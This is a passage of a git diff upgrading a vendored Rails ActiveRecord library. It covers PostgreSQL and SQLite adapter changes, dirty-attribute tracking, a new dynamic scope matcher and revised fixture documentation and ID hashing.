             when /^xml$/
-              :string
+              :xml
             # Arrays
             when /^\D+\[\]$/
-              :string              
+              :string
             # Object identifier types
             when /^oid$/
               :integer
@@ -111,7 +117,7 @@ module ActiveRecord
               super
           end
         end
-  
+
         # Extracts the value from a PostgreSQL column default definition.
         def self.extract_value_from_default(default)
           case default
@@ -194,7 +200,8 @@ module ActiveRecord
         :time        => { :name => "time" },
         :date        => { :name => "date" },
         :binary      => { :name => "bytea" },
-        :boolean     => { :name => "boolean" }
+        :boolean     => { :name => "boolean" },
+        :xml         => { :name => "xml" }
       }
 
       # Returns 'PostgreSQL' as adapter name for identification purposes.
@@ -249,6 +256,11 @@ module ActiveRecord
         true
       end
 
+      # Does PostgreSQL support finding primary key on non-ActiveRecord tables?
+      def supports_primary_key? #:nodoc:
+        true
+      end
+
       # Does PostgreSQL support standard conforming strings?
       def supports_standard_conforming_strings?
         # Temporarily set the client message level above error to prevent unintentional
@@ -273,6 +285,10 @@ module ActiveRecord
         true
       end
 
+      def supports_savepoints?
+        true
+      end
+
       # Returns the configured supported identifier length supported by PostgreSQL,
       # or report the default of 63 on PostgreSQL 7.x.
       def table_alias_length
@@ -283,7 +299,13 @@ module ActiveRecord
 
       # Escapes binary strings for bytea input to the database.
       def escape_bytea(value)
-        if PGconn.respond_to?(:escape_bytea)
+        if @connection.respond_to?(:escape_bytea)
+          self.class.instance_eval do
+            define_method(:escape_bytea) do |value|
+              @connection.escape_bytea(value) if value
+            end
+          end
+        elsif PGconn.respond_to?(:escape_bytea)
           self.class.instance_eval do
             define_method(:escape_bytea) do |value|
               PGconn.escape_bytea(value) if value
@@ -354,7 +376,7 @@ module ActiveRecord
         if value.kind_of?(String) && column && column.type == :binary
           "#{quoted_string_prefix}'#{escape_bytea(value)}'"
         elsif value.kind_of?(String) && column && column.sql_type =~ /^xml$/
-          "xml '#{quote_string(value)}'"
+          "xml E'#{quote_string(value)}'"
         elsif value.kind_of?(Numeric) && column && column.sql_type =~ /^money$/
           # Not truly string input, so doesn't require (or allow) escape string syntax.
           "'#{value.to_s}'"
@@ -372,7 +394,13 @@ module ActiveRecord
 
       # Quotes strings for use in SQL input in the postgres driver for better performance.
       def quote_string(s) #:nodoc:
-        if PGconn.respond_to?(:escape)
+        if @connection.respond_to?(:escape)
+          self.class.instance_eval do
+            define_method(:quote_string) do |s|
+              @connection.escape(s)
+            end
+          end
+        elsif PGconn.respond_to?(:escape)
           self.class.instance_eval do
             define_method(:quote_string) do |s|
               PGconn.escape(s)
@@ -388,9 +416,28 @@ module ActiveRecord
         quote_string(s)
       end
 
+      # Checks the following cases:
+      #
+      # - table_name
+      # - "table.name"
+      # - schema_name.table_name
+      # - schema_name."table.name"
+      # - "schema.name".table_name
+      # - "schema.name"."table.name"
+      def quote_table_name(name)
+        schema, name_part = extract_pg_identifier_from_name(name.to_s)
+
+        unless name_part
+          quote_column_name(schema)
+        else
+          table_name, name_part = extract_pg_identifier_from_name(name_part)
+          "#{quote_column_name(schema)}.#{quote_column_name(table_name)}"
+        end
+      end
+
       # Quotes column names for use in SQL queries.
       def quote_column_name(name) #:nodoc:
-        %("#{name}")
+        PGconn.quote_ident(name.to_s)
       end
 
       # Quote date/time values for use in SQL input. Includes microseconds
@@ -529,44 +576,25 @@ module ActiveRecord
         execute "ROLLBACK"
       end
 
-      # ruby-pg defines Ruby constants for transaction status,
-      # ruby-postgres does not.
-      PQTRANS_IDLE = defined?(PGconn::PQTRANS_IDLE) ? PGconn::PQTRANS_IDLE : 0
-
-      # Check whether a transaction is active.
-      def transaction_active?
-        @connection.transaction_status != PQTRANS_IDLE
-      end
-
-      # Wrap a block in a transaction.  Returns result of block.
-      def transaction(start_db_transaction = true)
-        transaction_open = false
-        begin
-          if block_given?
-            if start_db_transaction
-              begin_db_transaction
-              transaction_open = true
-            end
-            yield
-          end
-        rescue Exception => database_transaction_rollback
-          if transaction_open && transaction_active?
-            transaction_open = false
-            rollback_db_transaction
-          end
-          raise unless database_transaction_rollback.is_a? ActiveRecord::Rollback
-        end
-      ensure
-        if transaction_open && transaction_active?
-          begin
-            commit_db_transaction
-          rescue Exception => database_transaction_rollback
-            rollback_db_transaction
-            raise
-          end
+      if defined?(PGconn::PQTRANS_IDLE)
+        # The ruby-pg driver supports inspecting the transaction status,
+        # while the ruby-postgres driver does not.
+        def outside_transaction?
+          @connection.transaction_status == PGconn::PQTRANS_IDLE
         end
       end
 
+      def create_savepoint
+        execute("SAVEPOINT #{current_savepoint_name}")
+      end
+
+      def rollback_to_savepoint
+        execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}")
+      end
+
+      def release_savepoint
+        execute("RELEASE SAVEPOINT #{current_savepoint_name}")
+      end
 
       # SCHEMA STATEMENTS ========================================
 
@@ -636,33 +664,36 @@ module ActiveRecord
       def indexes(table_name, name = nil)
          schemas = schema_search_path.split(/,/).map { |p| quote(p) }.join(',')
          result = query(<<-SQL, name)
-           SELECT distinct i.relname, d.indisunique, a.attname
-             FROM pg_class t, pg_class i, pg_index d, pg_attribute a
+           SELECT distinct i.relname, d.indisunique, d.indkey, t.oid
+             FROM pg_class t, pg_class i, pg_index d
            WHERE i.relkind = 'i'
              AND d.indexrelid = i.oid
              AND d.indisprimary = 'f'
              AND t.oid = d.indrelid
              AND t.relname = '#{table_name}'
              AND i.relnamespace IN (SELECT oid FROM pg_namespace WHERE nspname IN (#{schemas}) )
-             AND a.attrelid = t.oid
-             AND ( d.indkey[0]=a.attnum OR d.indkey[1]=a.attnum
-                OR d.indkey[2]=a.attnum OR d.indkey[3]=a.attnum
-                OR d.indkey[4]=a.attnum OR d.indkey[5]=a.attnum
-                OR d.indkey[6]=a.attnum OR d.indkey[7]=a.attnum
-                OR d.indkey[8]=a.attnum OR d.indkey[9]=a.attnum )
           ORDER BY i.relname
         SQL
 
-        current_index = nil
+
         indexes = []
 
-        result.each do |row|
-          if current_index != row[0]
-            indexes << IndexDefinition.new(table_name, row[0], row[1] == "t", [])
-            current_index = row[0]
-          end
+        indexes = result.map do |row|
+          index_name = row[0]
+          unique = row[1] == 't'
+          indkey = row[2].split(" ")
+          oid = row[3]
+
+          columns = query(<<-SQL, "Columns for index #{row[0]} on #{table_name}").inject({}) {|attlist, r| attlist[r[1]] = r[0]; attlist}
+          SELECT a.attname, a.attnum
+          FROM pg_attribute a
+          WHERE a.attrelid = #{oid}
+          AND a.attnum IN (#{indkey.join(",")})
+          SQL
+
+          column_names = indkey.map {|attnum| columns[attnum] }
+          IndexDefinition.new(table_name, index_name, unique, column_names)
 
-          indexes.last.columns << row[2]
         end
 
         indexes
@@ -760,7 +791,7 @@ module ActiveRecord
             AND attr.attrelid     = cons.conrelid
             AND attr.attnum       = cons.conkey[1]
             AND cons.contype      = 'p'
-            AND dep.refobjid      = '#{table}'::regclass
+            AND dep.refobjid      = '#{quote_table_name(table)}'::regclass
         end_sql
 
         if result.nil? or result.empty?
@@ -779,7 +810,7 @@ module ActiveRecord
             JOIN pg_attribute   attr ON (t.oid = attrelid)
             JOIN pg_attrdef     def  ON (adrelid = attrelid AND adnum = attnum)
             JOIN pg_constraint  cons ON (conrelid = adrelid AND adnum = conkey[1])
-            WHERE t.oid = '#{table}'::regclass
+            WHERE t.oid = '#{quote_table_name(table)}'::regclass
               AND cons.contype = 'p'
               AND def.adsrc ~* 'nextval'
           end_sql
@@ -791,6 +822,12 @@ module ActiveRecord
         nil
       end
 
+      # Returns just a table's primary key
+      def primary_key(table)
+        pk_and_sequence = pk_and_sequence_for(table)
+        pk_and_sequence && pk_and_sequence.first
+      end
+
       # Renames a table.
       def rename_table(name, new_name)
         execute "ALTER TABLE #{quote_table_name(name)} RENAME TO #{quote_table_name(new_name)}"
@@ -854,7 +891,7 @@ module ActiveRecord
 
       # Drops an index from a table.
       def remove_index(table_name, options = {})
-        execute "DROP INDEX #{index_name(table_name, options)}"
+        execute "DROP INDEX #{quote_table_name(index_name(table_name, options))}"
       end
 
       # Maps logical Rails types to PostgreSQL-specific data types.
@@ -889,18 +926,18 @@ module ActiveRecord
         sql = "DISTINCT ON (#{columns}) #{columns}, "
         sql << order_columns * ', '
       end
-      
+
       # Returns an ORDER BY clause for the passed order option.
-      # 
+      #
       # PostgreSQL does not allow arbitrary ordering when using DISTINCT ON, so we work around this
       # by wrapping the +sql+ string as a sub-select and ordering in that query.
       def add_order_by_for_association_limiting!(sql, options) #:nodoc:
         return sql if options[:order].blank?
-        
+
         order = options[:order].split(',').collect { |s| s.strip }.reject(&:blank?)
         order.map! { |s| 'DESC' if s =~ /\bdesc$/i }
         order = order.zip((0...order.size).to_a).map { |s,i| "id_list.alias_#{i} #{s}" }.join(', ')
-        
+
         sql.replace "SELECT * FROM (#{sql}) AS id_list ORDER BY #{order}"
       end
 
@@ -950,13 +987,13 @@ module ActiveRecord
           # should know about this but can't detect it there, so deal with it here.
           money_precision = (postgresql_version >= 80300) ? 19 : 10
           PostgreSQLColumn.module_eval(<<-end_eval)
-            def extract_precision(sql_type)
-              if sql_type =~ /^money$/
-                #{money_precision}
-              else
-                super
-              end
-            end
+            def extract_precision(sql_type)  # def extract_precision(sql_type)
+              if sql_type =~ /^money$/       #   if sql_type =~ /^money$/
+                #{money_precision}           #     19
+              else                           #   else
+                super                        #     super
+              end                            #   end
+            end                              # end
           end_eval
 
           configure_connection
@@ -1013,7 +1050,7 @@ module ActiveRecord
                 if res.ftype(cell_index) == MONEY_COLUMN_TYPE_OID
                   # Because money output is formatted according to the locale, there are two
                   # cases to consider (note the decimal separators):
-                  #  (1) $12,345,678.12        
+                  #  (1) $12,345,678.12
                   #  (2) $12.345.678,12
                   case column = row[cell_index]
                     when /^-?\D+[\d,]+\.\d{2}$/  # (1)
@@ -1055,11 +1092,22 @@ module ActiveRecord
             SELECT a.attname, format_type(a.atttypid, a.atttypmod), d.adsrc, a.attnotnull
               FROM pg_attribute a LEFT JOIN pg_attrdef d
                 ON a.attrelid = d.adrelid AND a.attnum = d.adnum
-             WHERE a.attrelid = '#{table_name}'::regclass
+             WHERE a.attrelid = '#{quote_table_name(table_name)}'::regclass
                AND a.attnum > 0 AND NOT a.attisdropped
              ORDER BY a.attnum
           end_sql
         end
+
+        def extract_pg_identifier_from_name(name)
+          match_data = name[0,1] == '"' ? name.match(/\"([^\"]+)\"/) : name.match(/([^\.]+)/)
+
+          if match_data
+            rest = name[match_data[0].length..-1]
+            rest = rest[1..-1] if rest[0,1] == "."
+            [match_data[1], (rest.length > 0 ? rest : nil)]
+          end
+        end
     end
   end
 end
+
diff --git a/vendor/rails/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb b/vendor/rails/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
index cc9c4650..75420f69 100644
--- a/vendor/rails/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
+++ b/vendor/rails/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
@@ -18,7 +18,7 @@ module ActiveRecord
 
       db.busy_timeout(config[:timeout]) unless config[:timeout].nil?
 
-      ConnectionAdapters::SQLite3Adapter.new(db, logger)
+      ConnectionAdapters::SQLite3Adapter.new(db, logger, config)
     end
   end
 
diff --git a/vendor/rails/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb b/vendor/rails/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb
index 84f8c028..0bf97a9b 100644
--- a/vendor/rails/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb
+++ b/vendor/rails/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb
@@ -1,3 +1,4 @@
+# encoding: binary
 require 'active_record/connection_adapters/abstract_adapter'
 
 module ActiveRecord
@@ -15,17 +16,25 @@ module ActiveRecord
           db.results_as_hash  = true if defined? SQLite::Version
           db.type_translation = false
 
+          message = "Support for SQLite2Adapter and DeprecatedSQLiteAdapter has been removed from Rails 3. "
+          message << "You should migrate to SQLite 3+ or use the plugin from git://github.com/rails/sqlite2_adapter.git with Rails 3."
+          ActiveSupport::Deprecation.warn(message)
+
           # "Downgrade" deprecated sqlite API
           if SQLite.const_defined?(:Version)
-            ConnectionAdapters::SQLite2Adapter.new(db, logger)
+            ConnectionAdapters::SQLite2Adapter.new(db, logger, config)
           else
-            ConnectionAdapters::DeprecatedSQLiteAdapter.new(db, logger)
+            ConnectionAdapters::DeprecatedSQLiteAdapter.new(db, logger, config)
           end
         end
       end
 
       private
         def parse_sqlite_config!(config)
+          if config.include?(:dbfile)
+            ActiveSupport::Deprecation.warn "Please update config/database.yml to use 'database' instead of 'dbfile'"
+          end
+
           config[:database] ||= config[:dbfile]
           # Require database.
           unless config[:database]
@@ -46,6 +55,7 @@ module ActiveRecord
     class SQLiteColumn < Column #:nodoc:
       class <<  self
         def string_to_binary(value)
+          value = value.dup.force_encoding(Encoding::BINARY) if value.respond_to?(:force_encoding)
           value.gsub(/\0|\%/n) do |b|
             case b
               when "\0" then "%00"
@@ -55,6 +65,7 @@ module ActiveRecord
         end
 
         def binary_to_string(value)
+          value = value.dup.force_encoding(Encoding::BINARY) if value.respond_to?(:force_encoding)
           value.gsub(/%00|%25/n) do |b|
             case b
               when "%00" then "\0"
@@ -72,17 +83,46 @@ module ActiveRecord
     #
     # * <tt>:database</tt> - Path to the database file.
     class SQLiteAdapter < AbstractAdapter
+      class Version
+        include Comparable
+
+        def initialize(version_string)
+          @version = version_string.split('.').map(&:to_i)
+        end
+
+        def <=>(version_string)
+          @version <=> version_string.split('.').map(&:to_i)
+        end
+      end
+
+      def initialize(connection, logger, config)
+        super(connection, logger)
+        @config = config
+      end
+
       def adapter_name #:nodoc:
         'SQLite'
       end
 
+      def supports_ddl_transactions?
+        sqlite_version >= '2.0.0'
+      end
+
       def supports_migrations? #:nodoc:
         true
       end
 
+      def supports_primary_key? #:nodoc:
+        true
+      end
+
       def requires_reloading?
         true
       end
+
+      def supports_add_column?
+        sqlite_version >= '3.1.6'
+      end
  
       def disconnect!
         super
@@ -164,7 +204,6 @@ module ActiveRecord
         catch_schema_changes { @connection.rollback }
       end
 
-
       # SELECT ... FOR UPDATE is redundant since the table is locked.
       def add_lock!(sql, options) #:nodoc:
         sql
@@ -213,14 +252,20 @@ module ActiveRecord
         execute "ALTER TABLE #{name} RENAME TO #{new_name}"
       end
 
+      # See: http://www.sqlite.org/lang_altertable.html
+      # SQLite has an additional restriction on the ALTER TABLE statement
+      def valid_alter_table_options( type, options)
+        type.to_sym != :primary_key
+      end
+
       def add_column(table_name, column_name, type, options = {}) #:nodoc:
-        if @connection.respond_to?(:transaction_active?) && @connection.transaction_active?
-          raise StatementInvalid, 'Cannot add columns to a SQLite database while inside a transaction'
+        if supports_add_column? && valid_alter_table_options( type, options )
+          super(table_name, column_name, type, options)
+        else
+          alter_table(table_name) do |definition|
+            definition.column(column_name, type, options)
+          end
         end
-        
-        super(table_name, column_name, type, options)
-        # See last paragraph on http://www.sqlite.org/lang_altertable.html
-        execute "VACUUM"
       end
 
       def remove_column(table_name, *column_names) #:nodoc:
@@ -306,7 +351,7 @@ module ActiveRecord
         end
 
         def copy_table(from, to, options = {}) #:nodoc:
-          options = options.merge(:id => !columns(from).detect{|c| c.name == 'id'}.nil?)
+          options = options.merge(:id => (!columns(from).detect{|c| c.name == 'id'}.nil? && 'id' == primary_key(from).to_s))
           create_table(to, options) do |definition|
             @definition = definition
             columns(from).each do |column|
@@ -380,7 +425,7 @@ module ActiveRecord
         end
 
         def sqlite_version
-          @sqlite_version ||= select_value('select sqlite_version(*)')
+          @sqlite_version ||= SQLiteAdapter::Version.new(select_value('select sqlite_version(*)'))
         end
 
         def default_primary_key_type
@@ -393,19 +438,9 @@ module ActiveRecord
     end
 
     class SQLite2Adapter < SQLiteAdapter # :nodoc:
-      def supports_count_distinct? #:nodoc:
-        false
-      end
-
       def rename_table(name, new_name)
         move_table(name, new_name)
       end
-
-      def add_column(table_name, column_name, type, options = {}) #:nodoc:
-        alter_table(table_name) do |definition|
-          definition.column(column_name, type, options)
-        end
-      end
     end
 
     class DeprecatedSQLiteAdapter < SQLite2Adapter # :nodoc:
diff --git a/vendor/rails/activerecord/lib/active_record/dirty.rb b/vendor/rails/activerecord/lib/active_record/dirty.rb
index ae573799..f1896516 100644
--- a/vendor/rails/activerecord/lib/active_record/dirty.rb
+++ b/vendor/rails/activerecord/lib/active_record/dirty.rb
@@ -143,7 +143,7 @@ module ActiveRecord
         if partial_updates?
           # Serialized attributes should always be written in case they've been
           # changed in place.
-          update_without_dirty(changed | self.class.serialized_attributes.keys)
+          update_without_dirty(changed | (attributes.keys & self.class.serialized_attributes.keys))
         else
           update_without_dirty
         end
@@ -151,12 +151,12 @@ module ActiveRecord
 
       def field_changed?(attr, old, value)
         if column = column_for_attribute(attr)
-          if column.type == :integer && column.null && (old.nil? || old == 0)
-            # For nullable integer columns, NULL gets stored in database for blank (i.e. '') values.
+          if column.number? && column.null && (old.nil? || old == 0) && value.blank?
+            # For nullable numeric columns, NULL gets stored in database for blank (i.e. '') values.
             # Hence we don't record it as a change if the value changes from nil to ''.
             # If an old value of 0 is set to '' we want this to get changed to nil as otherwise it'll
             # be typecast back to 0 (''.to_i => 0)
-            value = nil if value.blank?
+            value = nil
           else
             value = column.type_cast(value)
           end
@@ -174,7 +174,7 @@ module ActiveRecord
         alias_attribute_without_dirty(new_name, old_name)
         DIRTY_SUFFIXES.each do |suffix|
           module_eval <<-STR, __FILE__, __LINE__+1
-            def #{new_name}#{suffix}; self.#{old_name}#{suffix}; end
+            def #{new_name}#{suffix}; self.#{old_name}#{suffix}; end  # def subject_changed?; self.title_changed?; end
           STR
         end
       end
diff --git a/vendor/rails/activerecord/lib/active_record/dynamic_scope_match.rb b/vendor/rails/activerecord/lib/active_record/dynamic_scope_match.rb
new file mode 100644
index 00000000..f796ba66
--- /dev/null
+++ b/vendor/rails/activerecord/lib/active_record/dynamic_scope_match.rb
@@ -0,0 +1,25 @@
+module ActiveRecord
+  class DynamicScopeMatch
+    def self.match(method)
+      ds_match = self.new(method)
+      ds_match.scope ? ds_match : nil
+    end
+
+    def initialize(method)
+      @scope = true
+      case method.to_s
+      when /^scoped_by_([_a-zA-Z]\w*)$/
+        names = $1
+      else
+        @scope = nil
+      end
+      @attribute_names = names && names.split('_and_')
+    end
+
+    attr_reader :scope, :attribute_names
+
+    def scope?
+      !@scope.nil?
+    end
+  end
+end
diff --git a/vendor/rails/activerecord/lib/active_record/fixtures.rb b/vendor/rails/activerecord/lib/active_record/fixtures.rb
index 114141a6..1674b496 100644
--- a/vendor/rails/activerecord/lib/active_record/fixtures.rb
+++ b/vendor/rails/activerecord/lib/active_record/fixtures.rb
@@ -1,6 +1,8 @@
 require 'erb'
 require 'yaml'
 require 'csv'
+require 'zlib'
+require 'active_support/dependencies'
 require 'active_support/test_case'
 
 if RUBY_VERSION < '1.9'
@@ -20,13 +22,17 @@ else
   end
 end
 
-# Fixtures are a way of organizing data that you want to test against; in short, sample data. They come in 3 flavors:
+# Fixtures are a way of organizing data that you want to test against; in short, sample data.
+#
+# = Fixture formats
+#
+# Fixtures come in 3 flavors:
 #
 #   1.  YAML fixtures
 #   2.  CSV fixtures
 #   3.  Single-file fixtures
 #
-# = YAML fixtures
+# == YAML fixtures
 #
 # This type of fixture is in YAML format and the preferred default. YAML is a file format which describes data structures
 # in a non-verbose, human-readable format. It ships with Ruby 1.8.1+.
@@ -64,9 +70,9 @@ end
 #        parent_id:  1
 #        title:      Child
 #
-# = CSV fixtures
+# == CSV fixtures
 #
-# Fixtures can also be kept in the Comma Separated Value format. Akin to YAML fixtures, CSV fixtures are stored
+# Fixtures can also be kept in the Comma Separated Value (CSV) format. Akin to YAML fixtures, CSV fixtures are stored
 # in a single file, but instead end with the <tt>.csv</tt> file extension
 # (Rails example: <tt><your-rails-app>/test/fixtures/web_sites.csv</tt>).
 #
@@ -89,7 +95,7 @@ end
 # Most databases and spreadsheets support exporting to CSV format, so this is a great format for you to choose if you
 # have existing data somewhere already.
 #
-# = Single-file fixtures
+# == Single-file fixtures
 #
 # This type of fixture was the original format for Active Record that has since been deprecated in favor of the YAML and CSV formats.
 # Fixtures for this format are created by placing text files in a sub-directory (with the name of the model) to the directory
@@ -112,66 +118,54 @@ end
 #   name => Ruby on Rails
 #   url => http://www.rubyonrails.org
 #
-# = Using Fixtures
+# = Using fixtures in testcases
 #
 # Since fixtures are a testing construct, we use them in our unit and functional tests.  There are two ways to use the
 # fixtures, but first let's take a look at a sample unit test:
 #
-#   require 'web_site'
+#   require 'test_helper'
 #
 #   class WebSiteTest < ActiveSupport::TestCase
-#     def test_web_site_count
+#     test "web_site_count" do
 #       assert_equal 2, WebSite.count
 #     end
 #   end
 #
-# As it stands, unless we pre-load the web_site table in our database with two records, this test will fail.  Here's the
-# easiest way to add fixtures to the database:
-#
-#   ...
-#   class WebSiteTest < ActiveSupport::TestCase
-#     fixtures :web_sites # add more by separating the symbols with commas
-#   ...
-#
-# By adding a "fixtures" method to the test case and passing it a list of symbols (only one is shown here though), we trigger
-# the testing environment to automatically load the appropriate fixtures into the database before each test.
+# By default, the <tt>test_helper module</tt> will load all of your fixtures into your test database, so this test will succeed.
+# The testing environment will automatically load the all fixtures into the database before each test.
 # To ensure consistent data, the environment deletes the fixtures before running the load.
 #
-# In addition to being available in the database, the fixtures are also loaded into a hash stored in an instance variable
-# of the test case.  It is named after the symbol... so, in our example, there would be a hash available called
-# <tt>@web_sites</tt>.  This is where the "fixture name" comes into play.
+# In addition to being available in the database, the fixture's data may also be accessed by
+# using a special dynamic method, which has the same name as the model, and accepts the
+# name of the fixture to instantiate:
 #
-# On top of that, each record is automatically "found" (using <tt>Model.find(id)</tt>) and placed in the instance variable of its name.
-# So for the YAML fixtures, we'd get <tt>@rubyonrails</tt> and <tt>@google</tt>, which could be interrogated using regular Active Record semantics:
-#
-#   # test if the object created from the fixture data has the same attributes as the data itself
-#   def test_find
-#     assert_equal @web_sites["rubyonrails"]["name"], @rubyonrails.name
-#   end
-#
-# As seen above, the data hash created from the YAML fixtures would have <tt>@web_sites["rubyonrails"]["url"]</tt> return
-# "http://www.rubyonrails.org" and <tt>@web_sites["google"]["name"]</tt> would return "Google". The same fixtures, but loaded
-# from a CSV fixture file, would be accessible via <tt>@web_sites["web_site_1"]["name"] == "Ruby on Rails"</tt> and have the individual
-# fixtures available as instance variables <tt>@web_site_1</tt> and <tt>@web_site_2</tt>.
-#
-# If you do not wish to use instantiated fixtures (usually for performance reasons) there are two options.
-#
-#   - to completely disable instantiated fixtures:
-#       self.use_instantiated_fixtures = false
-#
-#   - to keep the fixture instance (@web_sites) available, but do not automatically 'find' each instance:
-#       self.use_instantiated_fixtures = :no_instances
-#
-# Even if auto-instantiated fixtures are disabled, you can still access them
-# by name via special dynamic methods. Each method has the same name as the
-# model, and accepts the name of the fixture to instantiate:
-#
-#   fixtures :web_sites
-#
-#   def test_find
+#   test "find" do
 #     assert_equal "Ruby on Rails", web_sites(:rubyonrails).name
 #   end
 #
+# Alternatively, you may enable auto-instantiation of the fixture data. For instance, take the following tests:
+#
+#   test "find_alt_method_1" do
+#     assert_equal "Ruby on Rails", @web_sites['rubyonrails']['name']
+#   end
+#
+#   test "find_alt_method_2" do
+#     assert_equal "Ruby on Rails", @rubyonrails.news
+#   end
+#
+# In order to use these methods to access fixtured data within your testcases, you must specify one of the
+# following in your <tt>ActiveSupport::TestCase</tt>-derived class:
+#
+# - to fully enable instantiated fixtures (enable alternate methods #1 and #2 above)
+#     self.use_instantiated_fixtures = true
+#
+# - create only the hash for the fixtures, do not 'find' each instance (enable alternate method #1 only)
+#     self.use_instantiated_fixtures = :no_instances
+#
+# Using either of these alternate methods incurs a performance hit, as the fixtured data must be fully
+# traversed in the database to create the fixture hash and/or instance variables. This is expensive for
+# large sets of fixtured data.
+#
 # = Dynamic fixtures with ERb
 #
 # Some times you don't care about the content of the fixtures as much as you care about the volume. In these cases, you can
@@ -193,21 +187,17 @@ end
 # = Transactional fixtures
 #
 # TestCases can use begin+rollback to isolate their changes to the database instead of having to delete+insert for every test case.
-# They can also turn off auto-instantiation of fixture data since the feature is costly and often unused.
 #
 #   class FooTest < ActiveSupport::TestCase
 #     self.use_transactional_fixtures = true
-#     self.use_instantiated_fixtures = false
 #
-#     fixtures :foos
-#
-#     def test_godzilla
+#     test "godzilla" do
 #       assert !Foo.find(:all).empty?
 #       Foo.destroy_all
 #       assert Foo.find(:all).empty?
 #     end
 #
-#     def test_godzilla_aftermath
+#     test "godzilla aftermath" do
 #       assert !Foo.find(:all).empty?
 #     end
 #   end
@@ -219,24 +209,25 @@ end
 # access to fixture data for every table that has been loaded through fixtures (depending on the value of +use_instantiated_fixtures+)
 #
 # When *not* to use transactional fixtures:
-#   1. You're testing whether a transaction works correctly. Nested transactions don't commit until all parent transactions commit,
-#      particularly, the fixtures transaction which is begun in setup and rolled back in teardown. Thus, you won't be able to verify
-#      the results of your transaction until Active Record supports nested transactions or savepoints (in progress).
-#   2. Your database does not support transactions. Every Active Record database supports transactions except MySQL MyISAM.
-#      Use InnoDB, MaxDB, or NDB instead.
+#
+# 1. You're testing whether a transaction works correctly. Nested transactions don't commit until all parent transactions commit,
+#    particularly, the fixtures transaction which is begun in setup and rolled back in teardown. Thus, you won't be able to verify
+#    the results of your transaction until Active Record supports nested transactions or savepoints (in progress).
+# 2. Your database does not support transactions. Every Active Record database supports transactions except MySQL MyISAM.
+#    Use InnoDB, MaxDB, or NDB instead.
 #
 # = Advanced YAML Fixtures
 #
 # YAML fixtures that don't specify an ID get some extra features:
 #
-# * Stable, autogenerated ID's
+# * Stable, autogenerated IDs
 # * Label references for associations (belongs_to, has_one, has_many)
 # * HABTM associations as inline lists
 # * Autofilled timestamp columns
 # * Fixture label interpolation
 # * Support for YAML defaults
 #
-# == Stable, autogenerated ID's
+# == Stable, autogenerated IDs
 #
 # Here, have a monkey fixture:
 #
@@ -291,7 +282,7 @@ end
 #
 # Add a few more monkeys and pirates and break this into multiple files,
 # and it gets pretty hard to keep track of what's going on. Let's
-# use labels instead of ID's:
+# use labels instead of IDs:
 #
 #   ### in pirates.yml
 #
@@ -443,6 +434,7 @@ end
 # Any fixture labeled "DEFAULTS" is safely ignored.
 
 class Fixtures < (RUBY_VERSION < '1.9' ? YAML::Omap : Hash)
+  MAX_ID = 2 ** 30 - 1
   DEFAULT_FILTER_RE = /\.ya?ml$/
 
   @@all_cached_fixtures = {}
@@ -515,7 +507,7 @@ class Fixtures < (RUBY_VERSION < '1.9' ? YAML::Omap : Hash)
 
           all_loaded_fixtures.update(fixtures_map)
 
-          connection.transaction(connection.open_transactions.zero?) do
+          connection.transaction(:requires_new => true) do
             fixtures.reverse.each { |fixture| fixture.delete_existing_fixtures }
             fixtures.each { |fixture| fixture.insert_fixtures }
 
@@ -534,11 +526,10 @@ class Fixtures < (RUBY_VERSION < '1.9' ? YAML::Omap : Hash)
     cached_fixtures(connection, table_names)
   end
 
-  # Returns a consistent identifier for +label+. This will always
-  # be a positive integer, and will always be the same for a given
-  # label, assuming the same OS, platform, and version of Ruby.
+  # Returns a consistent, platform-independent identifier for +label+.
+  # Identifiers are positive integers less than 2^32.
   def self.identify(label)
-    label.to_s.hash.abs
+    Zlib.crc32(label.to_s) % MAX_ID
   end
 
   attr_reader :table_name, :name
@@ -630,7 +621,8 @@ class Fixtures < (RUBY_VERSION < '1.9' ? YAML::Omap : Hash)
               targets.each do |target|
                 join_fixtures["#{label}_#{target}"] = Fixture.new(
                   { association.primary_key_name => row[primary_key_name],
-                    association.association_foreign_key => Fixtures.identify(target) }, nil)
+                    association.association_foreign_key => Fixtures.identify(target) },
+                  nil, @connection)
               end
             end
           end
@@ -714,12 +706,12 @@ class Fixtures < (RUBY_VERSION < '1.9' ? YAML::Omap : Hash)
 
         yaml_value.each do |fixture|
           raise Fixture::FormatError, "Bad data for #{@class_name} fixture named #{fixture}" unless fixture.respond_to?(:each)
-	  fixture.each do |name, data|
+          fixture.each do |name, data|
             unless data
               raise Fixture::FormatError, "Bad data for #{@class_name} fixture named #{name} (nil)"
             end
 
-            self[name] = Fixture.new(data, model_class)
+            self[name] = Fixture.new(data, model_class, @connection)
           end
         end
       end
@@ -732,7 +724,7 @@ class Fixtures < (RUBY_VERSION < '1.9' ? YAML::Omap : Hash)
       reader.each do |row|
         data = {}
         row.each_with_index { |cell, j| data[header[j].to_s.strip] = cell.to_s.strip }
-        self["#{@class_name.to_s.underscore}_#{i+=1}"] = Fixture.new(data, model_class)
+        self["#{@class_name.to_s.underscore}_#{i+=1}"] = Fixture.new(data, model_class, @connection)
       end
     end
 
@@ -770,7 +762,8 @@ class Fixture #:nodoc:
 
   attr_reader :model_class
 
-  def initialize(fixture, model_class)
+  def initialize(fixture, model_class, connection = ActiveRecord::Base.connection)
+    @connection = connection
     @fixture = fixture
     @model_class = model_class.is_a?(Class) ? model_class : model_class.constantize rescue nil
   end
@@ -792,14 +785,14 @@ class Fixture #:nodoc:
   end
 
   def key_list
-    columns = @fixture.keys.collect{ |column_name| ActiveRecord::Base.connection.quote_column_name(column_name) }
+    columns = @fixture.keys.collect{ |column_name| @connection.quote_column_name(column_name) }
     columns.join(", ")
   end
 
   def value_list
     list = @fixture.inject([]) do |fixtures, (key, value)|
       col = model_class.columns_hash[key] if model_class.respond_to?(:ancestors) && model_class.ancestors.include?(ActiveRecord::Base)
-      fixtures << ActiveRecord::Base.connection.quote(value, col).gsub('[^\]\\n', "\n").gsub('[^\]\\r', "\r")
+      fixtures << @connection.quote(value, col).gsub('[^\]\\n', "\n").gsub('[^\]\\r', "\r")
     end
     list * ', '
   end
@@ -813,186 +806,191 @@ class Fixture #:nodoc:
   end
 end
 
-module Test #:nodoc:
-  module Unit #:nodoc:
